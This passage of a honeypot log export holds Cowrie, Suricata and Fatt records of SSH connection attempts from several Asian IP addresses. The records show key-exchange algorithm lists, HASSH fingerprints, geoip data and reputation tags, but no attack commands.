"hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "e5b879242978", "@version": "1", "timestamp": "2021-09-20T11:09:26.166366Z", "@timestamp": "2021-09-20T11:09:26.166Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24932	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:09:26.180749+03	2021-09-20 14:15:09.4405+03	{"_id": "qwblAnwBvYTbRNuEfBel", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "38b70ed35099", "@version": "1", "duration": 5.638700485229492, "timestamp": "2021-09-20T11:09:26.180749Z", "@timestamp": "2021-09-20T11:09:26.180Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24933	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:26.245714+03	2021-09-20 14:15:09.441509+03	{"_id": "rAblAnwBvYTbRNuEfBel", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "eb27d9bd0c99", "@version": "1", "duration": 2.6857240200042725, "timestamp": "2021-09-20T11:09:26.245714Z", "@timestamp": "2021-09-20T11:09:26.245Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
24934	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:26.367453+03	2021-09-20 14:15:09.4425+03	{"_id": "rQblAnwBvYTbRNuEfBel", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "1693ec9b7520", "@version": "1", "timestamp": "2021-09-20T11:09:26.367453Z", "@timestamp": "2021-09-20T11:09:26.367Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24935	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:26.388082+03	2021-09-20 14:15:09.443502+03	{"_id": "rgblAnwBvYTbRNuEfBel", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "5d606a35689f", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:26.388082Z", "@timestamp": "2021-09-20T11:09:26.388Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24936	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:09:26.730916+03	2021-09-20 14:15:09.4455+03	{"_id": "rwblAnwBvYTbRNuEfhfc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 923993157053161, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 37632, "dest_port": 22, "timestamp": "2021-09-20T11:09:26.730916Z", "@timestamp": "2021-09-20T11:09:26.730Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
24937	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:09:26.165663+03	2021-09-20 14:15:09.446504+03	{"_id": "tAblAnwBvYTbRNuEfxfl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 54590, "dest_port": 22, "timestamp": "2021-09-20T11:09:26.165663", "@timestamp": "2021-09-20T11:09:26.165Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24938	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:09:26.6488+03	2021-09-20 14:15:09.448473+03	{"_id": "tQblAnwBvYTbRNuEfxfl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 59508, "dest_port": 22, "timestamp": "2021-09-20T11:09:26.648800", "@timestamp": "2021-09-20T11:09:26.648Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24939	81.71.17.12	109.199.241.180	Suricata	2021-09-20 14:09:27.703953+03	2021-09-20 14:15:09.449471+03	{"_id": "0AblAnwBvYTbRNuEghfF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.71.17.12", "dest_ip": "192.168.20.116", "flow_id": 1471730336344412, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 37002, "dest_port": 22, "timestamp": "2021-09-20T11:09:27.703953Z", "@timestamp": "2021-09-20T11:09:27.703Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
24940	81.71.17.12	109.199.241.180	Suricata	2021-09-20 14:09:27.704703+03	2021-09-20 14:15:09.4515+03	{"_id": "0QblAnwBvYTbRNuEghfF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:09:27.141660+0000", "pkts_toclient": 4, "pkts_toserver": 5, "bytes_toclient": 887, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.71.17.12", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1471730336344412, "payload": "AAADzAYU0ODknIhkMirrphm8eX9J6gAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLG